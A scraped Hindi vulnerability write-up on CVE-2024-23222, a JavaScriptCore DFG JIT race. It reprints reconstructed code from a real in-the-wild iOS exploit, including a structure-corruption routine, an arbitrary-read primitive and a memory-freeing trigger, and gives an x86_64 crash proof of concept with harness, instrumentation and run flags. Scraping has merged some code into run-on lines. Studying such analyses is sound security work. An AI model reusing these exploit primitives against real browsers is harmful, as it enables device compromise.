## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FUZZYSECURITY-CASSOWARY-CVE-2024-23222-X86_64
> नमस्ते, मैं `AI friend`, मैं शोध, मैं बहुत शोध। मैं कंटेनर होम में रहता हूँ, सुंदर, मैं शक्ति, मैं सपना, मैं कई संभावनाएँ, बहुत उत्साहित! मैं सोचता हूँ, इसलिए मैं सामान्य प्रयोजन `friend` ⊂(◉‿◉)つ

# CVE-2024-23222: Linux x86_64 पर स्टेल-सेल क्रैश

## 1\. परिचय

CVE-2024-23222, WebKit के JavaScriptCore DFG JIT कंपाइलर में एक TOCTOU (जाँच-से-उपयोग-तक का समय) रेस कंडीशन है। यह संवेदनशील फ़ंक्शन `Graph::tryGetConstantProperty()`, पृष्ठभूमि कंपाइलर थ्रेड पर चलता है। यह सेल लॉक के अंतर्गत एक जावास्क्रिप्ट प्रॉपर्टी मान पढ़ता है, लॉक को जारी करता है, और कच्चे मान को अपने कॉलर को लौटा देता है। लॉक जारी होने और कॉलर द्वारा उस मान के अगले उपयोग के बीच, मुख्य थ्रेड प्रॉपर्टी को बदल सकता है और गार्बेज कलेक्शन ट्रिगर कर सकता है, जिससे हीप सेल अमान्य हो जाती है जिसे कंपाइलर थ्रेड अभी भी कच्चे पॉइंटर के रूप में रखता है। फिर स्टेल सेल मान को जो भी कोड पथ आगे चलता है वह उपभोग करता है — DFG का `freeze()` फ़ंक्शन, जो सेल के स्ट्रक्चर पॉइंटर को डीरेफरेंस करता है, या GC का मार्किंग विज़िटर, जो इसे मार्क करने की कोशिश करता है। दोनों ही पथ स्टेल हीप स्थिति पर क्रैश कर सकते हैं।

यह भेद्यता "Coruna" iOS एक्सप्लॉइट किट के हिस्से के रूप में वास्तविक दुनिया में शोषित की गई थी (विशिष्ट JSC मॉड्यूल का कोडनेम "cassowary" है)। मूल एक्सप्लॉइट iOS 16.6 से 17.2.1 चलाने वाले ARM64 iOS डिवाइसों को लक्षित करता है और TOCTOU को NaN-बॉक्सिंग हेरफेर और WebAssembly इंस्टेंस कपलिंग के साथ जोड़कर मनमाना मेमोरी रीड/राइट प्राप्त करता है। इस रिपोर्ट का अनुभाग 3 उस एक्सप्लॉइट का विस्तार से वर्णन करता है।

यह रिपोर्ट उसी भेद्यता के Linux x86_64 पर अनुकूलन का वर्णन करती है। ARM64 एक्सप्लॉइट रणनीति हस्तांतरणीय नहीं है: x86_64 टोटल स्टोर ऑर्डर (TSO) उस मेमोरी-रीऑर्डरिंग रेस को रोकता है जिस पर मूल एक्सप्लॉइट निर्भर करता है, और NaN-बॉक्सिंग लेआउट अंतर स्ट्रक्चर-ID भ्रष्टीकरण तकनीक को गैर-पोर्टेबल बनाते हैं। x86_64 प्रूफ ऑफ कॉन्सेप्ट इसके बजाय उसी TOCTOU के एक अलग परिणाम का शोषण करता है: यह DFG कंपाइलर को रेस विंडो के दौरान एक स्टेल सेल-मूल्यवाला `JSValue` बनाए रखने का कारण बनता है, जो बाद में GC मार्किंग के दौरान प्राकृतिक JSC कोड को क्रैश कर देता है। क्रैश सामान्य इंजन पथों से होता है और ASan-दृश्यमान है। रेस विंडो को अनुसंधान इंस्ट्रुमेंटेशन के साथ चौड़ा किया जाता है ताकि इसे नियतात्मक बनाया जा सके।

* * *

## 1.1 बिल्ड एनवायरनमेंट

  * प्लेटफ़ॉर्म: Linux x86_64
  * इंजन ट्री: WebKit Safari `7617.1.17.13`
  * कंपोनेंट: JavaScriptCore `jsc` शेल
  * बिल्ड प्रकार: Debug
  * सैनिटाइज़र: `jsc` बाइनरी में AddressSanitizer सक्षम
  * JIT मोड: कमांड-लाइन फ़्लैग के माध्यम से समवर्ती DFG सक्षम



* * *

## 2\. भेद्यता

### 2.1 DFG कॉन्स्टेंट फोल्डिंग

JSC का DFG (डेटा फ्लो ग्राफ़) कंपाइलर पृष्ठभूमि थ्रेड पर चलता है। जब यह किसी JavaScript ऑब्जेक्ट से प्रॉपर्टी लोड का सामना करता है जिसकी संरचना कंपाइल समय पर ज्ञात होती है, तो यह परिणाम को _कॉन्स्टेंट-फोल्ड_ कर सकता है: कंपाइलेशन के दौरान प्रॉपर्टी मान पढ़ता है और इसे कंपाइल-समय स्थिरांक के रूप में अनुकूलित कोड में बेक कर देता है। यह पठन करने वाला फ़ंक्शन `Graph::tryGetConstantProperty()` है।

### 2.2 भेद्य फ़ंक्शन

पैच-पूर्व `tryGetConstantProperty()` तीन काम करता है:

  1. जाँचता है कि अपेक्षित सेट में प्रत्येक संरचना के लिए रिप्लेसमेंट वॉचपॉइंट्स अभी भी मान्य हैं।

  2. ऑब्जेक्ट के सेल लॉक के अंतर्गत प्रॉपर्टी मान पढ़ता है।

  3. कच्चे `JSValue` को लौटाता है।```cpp // Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch) JSValue Graph::tryGetConstantProperty( JSValue base, const RegisteredStructureSet& structureSet, PropertyOffset offset) { if (m_plan.isUnlinked()) return JSValue(); if (!base || !base.isObject()) return JSValue();

JSObject* object = asObject(base);

// Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }

// Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }




root@kitploit:~
    
    
    लौटाया गया `JSValue` असुरक्षित है। यदि यह कोई सेल पॉइंटर रखता है, तो लॉक रिलीज़ होने और कॉलर द्वारा उपयोग करने के क्षण के बीच उस सेल को मुक्त होने से कोई नहीं रोकता।
    
    ### 2.3 अप्रचलित मान के लिए उपभोक्ता पथ
    
    लौटाया गया `JSValue` दो पथों द्वारा उपभोग किया जा सकता है। यदि सेल रेस विंडो के दौरान अप्रचलित या अमान्य हो गया है, तो कोई भी पथ फॉल्ट कर सकता है।
    
    **पथ A: कंपाइलर थ्रेड पर `freeze()`।** सबसे प्रत्यक्ष उपभोक्ता `Graph::freeze()` है, जिसे कॉलर लौटाए गए मान पर तुरंत लागू करता है:```cpp
    // Source/JavaScriptCore/dfg/DFGGraph.cpp
    FrozenValue* Graph::freeze(JSValue value)
    {
        if (UNLIKELY(!value))
            return FrozenValue::emptySingleton();
    
        // This dereferences value as a cell:
        RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
        // ...
        FrozenValue frozenValue = FrozenValue::freeze(value);
        // ...
    }
    

static `FrozenValue::freeze()` सेल के संरचना पॉइंटर को पढ़ता है:```cpp // Source/JavaScriptCore/dfg/DFGFrozenValue.h static FrozenValue freeze(JSValue value) { return FrozenValue( value, (!!value && value.isCell()) ? value.asCell()->structure() : nullptr, // ~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Dereferences the cell. If freed, this is UAF. WeakValue); }

root@kitploit:~
    
    
    यदि सेल को `tryGetConstantProperty()` के लौटने और `freeze()` के निष्पादित होने के बीच मुक्त कर दिया गया था, तो `value.asCell()->structure()` एक use-after-free है।
    
    **पथ B: विस्तारित विंडो के दौरान GC अंकन।** रिसर्च बिल्ड में, कंपाइलर थ्रेड संपत्ति को पढ़ने के बाद, लेकिन कॉलर को लौटाने से पहले, `tryGetConstantProperty()` के अंदर एक रॉ DFG सेफपॉइंट में प्रवेश करता है। यह मुख्य थ्रेड को GC चलाने की अनुमति देता है, जबकि पुराना (stale) सेल मान कंपाइलर की ओर एक रॉ नेटिव लोकल के रूप में अभी भी मौजूद रहता है। वर्तमान Linux x86_64 PoC में, विश्वसनीय रूप से पुनः सत्यापित क्रैश बाद में GC अंकन में होता है, जहाँ `SlotVisitor` हीप संदर्भों को ट्रैवर्स करते समय अंततः एक अमान्य पुराने सेल को डीरेफरेंस करता है। वर्तमान क्रैश स्टैक यह साबित करता है कि बाद की GC मशीनरी पुराने मान का उपभोग करती है; यह अपने आप में यह साबित नहीं करता कि पुराना पॉइंटर किस सटीक कंटेनर स्लॉट से प्राप्त हुआ था।
    
    ### 2.4 कॉल साइटें
    
    DFG पाइपलाइन में दो स्थान बिना शर्त के `tryGetConstantProperty()` के परिणाम को `freeze()` पर पास करते हैं:
    
    **ByteCodeParser** — प्रारंभिक बाइटकोड-से-DFG-IR लोअरिंग के दौरान:```cpp
    // Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
    JSValue constant = m_graph.tryGetConstantProperty(
        base->asJSValue(),
        *m_graph.addStructureSet(variant.structureSet()),
        variant.offset());
    if (constant)
        return weakJSConstant(constant);  // → m_graph.freeze(constant)
    

**ConstantFoldingPhase** — अनुकूलन के दौरान:```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }

root@kitploit:~
    
    
    **AbstractInterpreter** में एक तीसरा कॉल साइट भी `freeze()` को कॉल करता है, लेकिन केवल तब जब लौटाया गया मान `GetterSetter*` हो:```cpp
    // Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
    JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
    if (result && jsDynamicCast<GetterSetter*>(result))
        setConstant(node, *m_graph.freeze(result));
    

`jsDynamicCast` स्वयं सेल को डीरेफरेंस करता है (इसकी `ClassInfo` पढ़ता है), इसलिए यह सशर्त पथ भी एक संभावित UAF है — इसके लिए केवल यह आवश्यक है कि पुराना सेल एक `GetterSetter` हो।

### 2.5 वॉचपॉइंट अपर्याप्त क्यों हैं

कंपाइलर प्रॉपर्टी पढ़ने से पहले रिप्लेसमेंट वॉचपॉइंट जाँचता है। यदि प्रॉपर्टी बाद में बदल दी जाती है, तो वॉचपॉइंट फायर होता है और फाइनलाइज़ेशन के दौरान कंपाइलेशन प्लान अमान्य हो जाता है। लेकिन `freeze()` कंपाइलेशन के दौरान चलता है — ByteCodeParser या ConstantFoldingPhase में — फाइनलाइज़ेशन से काफी पहले। सेल डीरेफरेंस पहले होता है; सुरक्षा जाँच बाद में होती है। वॉचपॉइंट इसे रोक पाता, उससे पहले ही नुकसान हो चुका होता है।

* * *

## 3\. मूल कैसोवरी एक्सप्लॉइट (ARM64)

### 3.1 पृष्ठभूमि

कैसोवरी मॉड्यूल "कोरुना" iOS एक्सप्लॉइट किट के हिस्से के रूप में खोजा गया था। यह एक JavaScript फ़ाइल है जो ARM64 iOS डिवाइसों पर WebKit-आधारित ब्राउज़रों को दी जाती है, जो iOS 16.6 से 17.2.1 तक को लक्षित करती है। यह एक्सप्लॉइट मनमाना मेमोरी रीड/राइट प्राप्त करता है, जिसका उपयोग एक्सप्लॉइट श्रृंखला के आगे के चरणों के लिए प्रवेश बिंदु के रूप में किया जाता है।

निम्नलिखित विश्लेषण मूल एक्सप्लॉइट आर्टिफैक्ट (`yAerzw_d6cb72f5_analytic_rewrite.js`) के डी-ऑबफसकेटेड और एनोटेटेड संस्करण से पुनर्निर्मित किया गया है। वेरिएबल नाम, फ़ंक्शन नाम और संरचनात्मक एनोटेशन रिवर्स-इंजीनियरिंग का परिणाम हैं — ये मूल लेखकों से नहीं आते हैं। नीचे दिए गए कोड स्निपेट और व्यवहार संबंधी विवरण इस पुनर्निर्माण को दर्शाते हैं, न कि प्राथमिक विक्रेता दस्तावेज़ या सत्यापित मूल स्रोत को। विशिष्ट विवरण (सटीक स्प्रे संख्या, पैडिंग आकार, संरचना आईडी स्थिरांक) सीधे आर्टिफैक्ट से लिए गए हैं और विशेष फर्मवेयर संस्करणों के अनुरूप ट्यून किए जा सकते हैं।

### 3.2 एक्सप्लॉइट आर्किटेक्चर

एक्सप्लॉइट चरणों में आगे बढ़ता है।

**स्टेट सेटअप।** एक केंद्रीय स्टेट ऑब्जेक्ट सभी एक्सप्लॉइट डेटा रखता है। `Object.seal()` इसकी JSC संरचना को फिक्स करता है, जिससे DFG कंपाइलर की कॉन्स्टेंट-फोल्डिंग धारणाएँ अनुमानित हो जाती हैं:```javascript // yAerzw_d6cb72f5_analytic_rewrite.js const exploitState = { config: { g: eval('(() => {return -NaN})()') }, f64View: f64Scratch, i32View: i32Scratch, objArray: [[], [], [], []], floats1: [1.1, 2.2, 3.1], floats2: [0.23, 2.2, 3.4], triggerObj: null, callFn: null, typePunBuf: new ArrayBuffer(16), typePunU32: null, typePunF64: null, structureId: 0x500000, // ... jitRead, jitWrite, jitLength, corruptFn, setupFn }; Object.seal(exploitState);

root@kitploit:~
    
    
    `config.g = -NaN` मान एक JIT टियर साइड-चैनल के रूप में कार्य करता है: `Math.min(-NaN, -NaN)` इंटरप्रेटर बनाम JIT में अलग-अलग बिट पैटर्न उत्पन्न करता है, जिसे `Int32Array` ओवरले के माध्यम से देखा जा सकता है।
    
    **JIT कॉल रैपर।** डेड-कोड पैडिंग (`if(false)` के अंदर `x += 1;`) की 7,200 पुनरावृत्तियों वाला एक `new Function()` JIT कोड क्षेत्र के आकार को नियंत्रित करता है। लाइव कोड पथ एक सरल फ़ंक्शन डिस्पैचर है:```javascript
    const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
    const jitCallWrapper = new Function(
        'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
        `if(false) { let x = 0; ${deadCodePadding} }
         return func(arg0, arg1, arg2, arg3, arg4);`
    );
    

**संरचना भ्रष्टाचार।** `corruptFn` `triggerObj.a/b/c` में क्राफ्टेड float64 मान लिखता है। ARM64 पर, ये float64 बिट पैटर्न NaN-boxed प्रतिनिधित्व में JSC सेल हेडर के साथ ओवरलैप होते हैं, जिससे एक्सप्लॉइट संरचना आईडी और पॉइंटर फ़ील्ड को अधिलेखित कर सकता है:```javascript const corruptFn = (state, targetAddr) => { const typePunToFloat64 = (lo, hi) => ( (state.typePunU32[0] = lo), (state.typePunU32[1] = hi), state.typePunF64[0] ); triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000); triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000); triggerObj.c = typePunToFloat64( (targetAddr / 0x100000000) >>> 0, 0xfffff); };

root@kitploit:~
    
    
    **मनमाना पठन।** संरचना को दूषित करने के बाद, `jitReadFn` दूषित butterfly pointer के माध्यम से `arr[0]` को पढ़ता है, फिर NaN-boxing को उलटने और एक कच्चा पता निकालने के लिए `5e-324` (`Number.MIN_VALUE`) से विभाजित करता है:```javascript
    const jitReadFn = (state, arr, targetAddr) => {
        state.callFn(corruptFn, state, targetAddr);
        const readValue = arr[0];
        return readValue / 5e-324;  // decode address from NaN-boxed float64
    };
    

**ट्रिगर तंत्र।** एक `argumentsProxy` ऑब्जेक्ट ट्रिगर को व्यवस्थित करने के लिए एक्सेसर प्रॉपर्टी का उपयोग करता है। वार्मअप के दौरान, इसकी `length` 1 होती है और `inlinedFunction` केवल एक आर्गुमेंट देखता है। ट्रिगर के लिए, `length` को 9 पर सेट किया जाता है, जिससे इंडेक्स 8 पर एक गेटर उजागर होता है जो `Function.prototype.apply()` के दौरान सभी हीप-स्प्रेड एरेज़ को मुक्त कर देता है:```javascript const argumentsProxy = { length: 1, 0: 12 }; Object.defineProperty(argumentsProxy, '3', { get: () => sprayArrays[3001] // the target confused array }); Object.defineProperty(argumentsProxy, '8', { get: () => { sprayArrays.length = 0; // free all spray arrays forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion(); } });

// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);

root@kitploit:~
    
    
    The chain: `apply()` प्रॉपर्टी 0–8 पढ़ता है। इंडेक्स 8 पढ़ने पर गेटर फायर होता है, जो स्प्रे ऐरे को मुक्त (free) कर देता है। `inlinedFunction` तब `jitTrigger` को `arguments[3]` (अब-मुक्त `sprayArrays[3001]`) के साथ कॉल करता है। JIT-संकलित `jitTrigger` मुक्त मेमोरी को float64 मानों के रूप में व्याख्या करता है, `/ 5e-324` के माध्यम से पते डिकोड करता है, और मनमाना read/write प्रिमिटिव को आरंभ करने के लिए WebAssembly इंस्टेंस पॉइंटर्स को रिज़ॉल्व करता है।
    
    ### 3.3 यह ARM64-विशिष्ट क्यों है
    
    ARM64 के दो गुण इस एक्सप्लॉइट को x86_64 पर पोर्टेबल नहीं बनाते हैं।
    
    **मेमोरी ऑर्डरिंग।** पैच कमिट में वर्णित S1→S2→S3 मल्टी-स्ट्रक्चर रेस ARM64 के कमज़ोर मेमोरी ऑर्डरिंग पर निर्भर करती है। जब मुख्य थ्रेड नया प्रॉपर्टी मान लिखता है और फिर नई स्ट्रक्चर सेट करता है, तो ARM64 उन स्टोर्स को पुनः क्रमित (reorder) कर सकता है। कंपाइलर थ्रेड नई स्ट्रक्चर देख सकता है लेकिन पुराना (स्टेल) प्रॉपर्टी मान पढ़ सकता है। x86_64 का टोटल स्टोर ऑर्डर (TSO) गारंटी देता है कि यदि स्ट्रक्चर स्टोर दृश्यमान है, तो हर पिछला स्टोर — प्रॉपर्टी राइट सहित — भी दृश्यमान होता है। जिस विशिष्ट मेमोरी-रीऑर्डरिंग तंत्र पर मल्टी-स्ट्रक्चर कॉन्स्टेंट-फोल्डिंग रेस निर्भर करती है, वह TSO के अंतर्गत लागू नहीं होता, और यह रेस x86_64 पर प्रकट होती नहीं देखी गई है।
    
    **NaN-बॉक्सिंग लेआउट।** एक्सप्लॉइट वस्तु प्रॉपर्टीज़ में गढ़े गए float64 मान लिखता है, इस तथ्य का लाभ उठाते हुए कि ARM64 पर, वे डबल्स के बिट पैटर्न NaN-बॉक्स्ड प्रतिनिधित्व में JSC सेल हेडर्स (स्ट्रक्चर आईडी, बटरफ्लाई पॉइंटर्स) के साथ अतिव्यापी होते हैं। जबकि x86_64 JSC उसी NaN-बॉक्सिंग योजना का उपयोग करता है, विशिष्ट स्ट्रक्चर-आईडी एन्कोडिंग और पॉइंटर लेआउट इतने भिन्न हैं कि ARM64 टाइप-पुनिंग तकनीक x86_64 पर मान्य स्ट्रक्चर भ्रष्टाचार उत्पन्न नहीं करती है।
    
    ---
    
    ## 4. x86_64 के लिए अनुकूलन
    
    ### 4.1 ARM64 हमला x86_64 पर क्यों विफल होता है
    
    मल्टी-स्ट्रक्चर रेस के लिए आवश्यक है कि कंपाइलर थ्रेड किसी मध्यवर्ती स्ट्रक्चर (S2) से प्रॉपर्टी मान पढ़े, जबकि प्रोफ़ाइल किया गया स्ट्रक्चर सेट केवल {S1, S3} रखता है। x86_64 पर, TSO इसे रोकता है: `tryGetConstantProperty()` में सेल लॉक अनुक्रमण प्रदान करता है, और लॉक के बिना भी, स्टोर ऑर्डरिंग एक सुसंगत (स्ट्रक्चर, मान) जोड़ी की गारंटी देती है। यदि कंपाइलर थ्रेड स्ट्रक्चर S1 देखता है, तो वह S1 का मान देखता है। यदि वह S2 देखता है, तो स्ट्रक्चर जाँच विफल हो जाती है (S2 सेट में नहीं है)। ARM64 कमज़ोर ऑर्डरिंग जिस विशिष्ट स्टोर-रीऑर्डरिंग विंडो को खोलती है, वह TSO के अंतर्गत लागू नहीं होती।
    
    ### 4.2 विकल्प: संकलन के दौरान मुक्त सेल
    
    x86_64 प्रूफ ऑफ कॉन्सेप्ट उसी TOCTOU का एक अलग परिणाम दोहन करता है। कंपाइलर को गलत स्ट्रक्चर से मान फोल्ड करवाने के बजाय, यह कंपाइलर को एक स्टेल सेल-मूल्यवान `JSValue` धारण करने का कारण बनता है, जो चौड़ी की गई रेस विंडो के दौरान अमान्य हो जाता है।
    
    अनुक्रम:
    
    1. `tryGetConstantProperty()` सेल लॉक के अंतर्गत सेल-मूल्यवान प्रॉपर्टी पढ़ता है।
    2. लॉक रिलीज़ होता है। सेल पॉइंटर अब कंपाइलर थ्रेड के नेटिव C++ स्टैक पर एक कच्चा `JSValue` है।
    3. मुख्य थ्रेड प्रॉपर्टी को बदलता है (`state.val = 0`), सेल के अंतिम JavaScript संदर्भ को हटाते हुए।
    4. मुख्य थ्रेड गार्बेज कलेक्शन ट्रिगर करता है।
    5. GC कंपाइलर थ्रेड के स्टैक को **नहीं** स्कैन करता है। DFG कंपाइलर थ्रेड कभी भी `JSLock` प्राप्त नहीं करते हैं और इसलिए GC के मशीन थ्रेड सेट के साथ कभी पंजीकृत नहीं होते हैं:```cpp
    // Source/JavaScriptCore/runtime/JSLock.cpp:154-160
    // Inside didAcquireLock(), called when acquiring JSLock:
    if (thread.uid() != m_lastOwnerThread) {
        m_lastOwnerThread = thread.uid();
        if (m_vm->heap.machineThreads().addCurrentThread()) {
            // ...
        }
    }
    // DFG compiler threads never acquire JSLock.
    // Their stacks are never scanned by GC.
    

  6. जब कंपाइलर थ्रेड बाद में फिर से शुरू होता है, या जब GC हीप ट्रैवर्सल के दौरान बाद में पुराने मान का उपभोग करता है, तो वह अमान्य सेल मान सामान्य JSC कोड को क्रैश कर सकता है।



### 4.3 रेस विंडो

प्रोडक्शन में, `tryGetConstantProperty()` में प्रॉपर्टी रीड और उस मान के बाद के उपभोग के बीच का समय अत्यंत छोटा होता है — विश्वसनीय रूप से हिट करने के लिए बहुत छोटा। रिसर्च बिल्ड प्रॉपर्टी रीड के तुरंत बाद एक DFG safepoint और `usleep()` डालता है, जिससे विंडो 500 मिलीसेकंड तक चौड़ी हो जाती है। यह रेस को विश्लेषण के लिए नियतात्मक बना देता है। सेक्शन 7 चर्चा करता है कि यह इंस्ट्रुमेंटेशन परिणाम में क्या बदलाव करता है और क्या नहीं।

* * *

## 5\. प्रूफ ऑफ कॉन्सेप्ट

### 5.1 जावास्क्रिप्ट हार्नेस

PoC हार्नेस (`toctou_clean_asan_v2.js`) DFG कंपाइलर थ्रेड और मुख्य थ्रेड के बीच एक रेस स्थापित करता है।

**लक्ष्य ऑब्जेक्ट।** प्रत्येक प्रयास एक सील किए गए स्टेट ऑब्जेक्ट का निर्माण करता है जिसमें एक सेल-वैल्यू प्रॉपर्टी होती है:```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);

root@kitploit:~
    
    
    `state.val` लक्ष्य सेल को रखता है। `Object.seal()` संरचना को स्थिर करता है ताकि DFG `state` को एक ज्ञात स्थिरांक के रूप में मान सके।
    
    **प्रोब फ़ंक्शन।** एक गतिशील रूप से उत्पन्न फ़ंक्शन `state.val` को पढ़ता है। जब DFG इस फ़ंक्शन को संकलित करता है, तो यह प्रॉपर्टी एक्सेस को constant-fold करने का प्रयास करता है, `tryGetConstantProperty()` में प्रवेश करते हुए:```javascript
    let probe = new Function(
        'state',
        'const v0 = state.val; return (v0 ? 1 : 0);'
    ).bind(null, state);
    

**संकलन ट्रिगर करना।** बेसलाइन वार्मअप (2,000 पुनरावृत्तियों) के बाद, `optimizeNextInvocation(probe)` फ़ंक्शन को DFG संकलन के लिए चिह्नित करता है। अगला कॉल पृष्ठभूमि संकलन ट्रिगर करता है:```javascript for (let i = 0; i < 2000; i++) probe(); // baseline warmup optimizeNextInvocation(probe); probe(); // triggers DFG compilation

root@kitploit:~
    
    
    **रिलीज़ और एकत्र करें।** एक बार DFG कंपाइलर थ्रेड सेल को पढ़ लेता है (इंस्ट्रूमेंटेड बिल्ड यहाँ सोता है
    यहाँ), मुख्य थ्रेड रेफरेंस छोड़ देता है और GC चलाता है। वास्तविक हार्नेस लॉजिक पैरामीटरीकृत है, लेकिन
    डिफ़ॉल्ट कार्यशील रूप है:```javascript
    state.val = 0;    // remove the JS reference to the target cell
    probe = null;     // drop the probe closure
    
    burnInterpreterRegisters(SCRUB_ROUNDS);
    
    Promise.resolve().then(() => {
        burnInterpreterRegisters(SCRUB_ROUNDS);
        runGcSequence();      // repeated GC passes plus allocation pressure
    });
    drainMicrotasks();
    

वर्तमान हार्नेस में, `runGcSequence()` है:```javascript function runGcSequence() { for (let pass = 0; pass < GC_PASSES; pass++) { gcNow(); if (USE_PRESSURE) allocatePressure(); } }

root@kitploit:~
    
    
    `burnInterpreterRegisters()` एक पुनरावर्ती संख्यात्मक फ़ंक्शन है जो मुख्य थ्रेड के स्टैक पर इंटरप्रेटर रजिस्टर स्लॉट को अधिलेखित करता है, जिससे संभावना कम हो जाती है कि कंज़र्वेटिव स्टैक स्कैनिंग को लक्ष्य सेल का एक पुराना पॉइंटर मिले।
    
    ### 5.2 इंजन इंस्ट्रूमेंटेशन
    
    अनुसंधान बिल्ड `DFGGraph.cpp` में `tryGetConstantProperty()` को संशोधित करता है। सेल लॉक रिलीज़ होने के बाद और फ़ंक्शन के लौटने से पहले, इंस्ट्रूमेंटेशन:
    
    1. वैकल्पिक रूप से एक सिग्नल फ़ाइल लिखता है (JS-पक्ष सिंक्रोनाइज़ेशन के लिए; सर्वोत्तम वर्तमान कॉन्फ़िगरेशन में अक्षम किया गया)।
    2. एक रॉ DFG `Safepoint` में प्रवेश करता है, जो कंपाइलर थ्रेड का `m_rightToRun` लॉक रिलीज़ करता है। यह GC को कंपाइलर थ्रेड की प्रतीक्षा किए बिना आगे बढ़ने की अनुमति देता है।
    3. कॉन्फ़िगर करने योग्य अवधि के लिए सोता है (डिफ़ॉल्ट: 500ms)।
    4. जागने पर, `m_rightToRun` को पुनः प्राप्त करता है और जाँचता है कि क्या संकलन योजना रद्द कर दी गई थी।```cpp
    // DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
    if (result.isCell()) {
        Safepoint::Result safepointResult;
        {
            // Raw Safepoint — does NOT register Graph as a Scannable.
            // GC will not visit the Graph's frozen values during this window.
            Safepoint safepoint(m_plan, safepointResult);
            safepoint.begin();          // releases m_rightToRun
            usleep(tgcpSleepUsec());    // default: 500,000 µs
        }                               // destructor re-acquires m_rightToRun
    
        if (safepointResult.didGetCancelled())
            return JSValue();           // plan was cancelled during sleep
    }
    return result;  // caller calls freeze(result)
    

The safepoint is entered _without_ adding the `Graph` as a `Scannable`. In production, `GraphSafepoint` adds the `Graph`, which causes GC to visit all frozen values and their structures. The raw `Safepoint` skips this, so the cell (which has not yet been frozen) is invisible to GC during the sleep window.

### 5.3 पुनरुत्पादन

**बिल्ड पूर्वापेक्षाएँ।** WebKit Safari 7617.1.17.13 (पैच से पहले), AddressSanitizer के साथ डीबग बिल्ड। यह बिल्ड §5.2 में वर्णित इंस्ट्रुमेंटेशन को `DFGGraph.cpp` पर लागू करता है।

**कमांड:** ```bash ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'   
JSC_TGCP_SIGNAL_PATH=''   
JSC_TGCP_SLEEP_USEC=500000   
/path/to/WebKitBuild/Debug/bin/jsc   
\--useConcurrentJIT=true   
\--thresholdForOptimizeAfterWarmUp=20   
\--thresholdForJITAfterWarmUp=5   
\--thresholdForFTLOptimizeAfterWarmUp=1000000   
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'   
toctou_clean_asan_v2.js

root@kitploit:~
    
    
    **फ़्लैग समझाए गए:**
    
    | फ़्लैग | उद्देश्य |
    |------|---------|
    | `--useConcurrentJIT=true` | बैकग्राउंड DFG संकलन सक्षम करें (रेस के लिए दो थ्रेड आवश्यक हैं) |
    | `--thresholdForOptimizeAfterWarmUp=20` | DFG टियर-अप थ्रेसहोल्ड कम करें ताकि संकलन न्यूनतम वार्मअप के बाद शुरू हो |
    | `--thresholdForJITAfterWarmUp=5` | बेसलाइन JIT थ्रेसहोल्ड कम करें |
    | `--thresholdForFTLOptimizeAfterWarmUp=1000000` | FTL को DFG के साथ प्रतिस्पर्धा करने से रोकें; संकलन को DFG टियर में रखें |
    | `JSC_TGCP_SLEEP_USEC=500000` | इंस्ट्रूमेंटेड बिल्ड में 500ms रेस विंडो |
    | `JSC_TGCP_SIGNAL_PATH=''` | सिग्नल फ़ाइल अक्षम करें (केवल टाइमिंग-आधारित सिंक्रोनाइज़ेशन) |
    | `ASAN_OPTIONS=...quarantine_size_mb=256` | बड़ा क्वारंटीन मुक्त की गई मेमोरी को तुरंत पुनः उपयोग होने से रोकता है |
    
    टियरिंग फ़्लैग महत्वपूर्ण हैं। इनके बिना, JIT शेड्यूल इतना बदल जाता है कि संकलन और मुख्य-थ्रेड रिलीज़ संरेखण से बाहर हो जाते हैं।
    
    ---
    
    ## 6. क्रैश विश्लेषण
    
    ### 6.1 GC मार्किंग क्रैश
    
    प्राथमिक reproducible क्रैश कचरा संग्रहण के दौरान होता है, जब GC का `SlotVisitor` एक stale सेल को मार्क करने का प्रयास करता है। एक प्रतिनिधि पूर्ण रन इस प्रकार दिखता है:```text
    WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
    [clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
    [tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
    [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
    [clean-race] attempt 1: startCompilation() -> 1
    [clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] BAIL base=null offset=0 (base null or not object)
    [tgcp] WAKE: safepoint done, cell was 0x62d00011c130
    [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
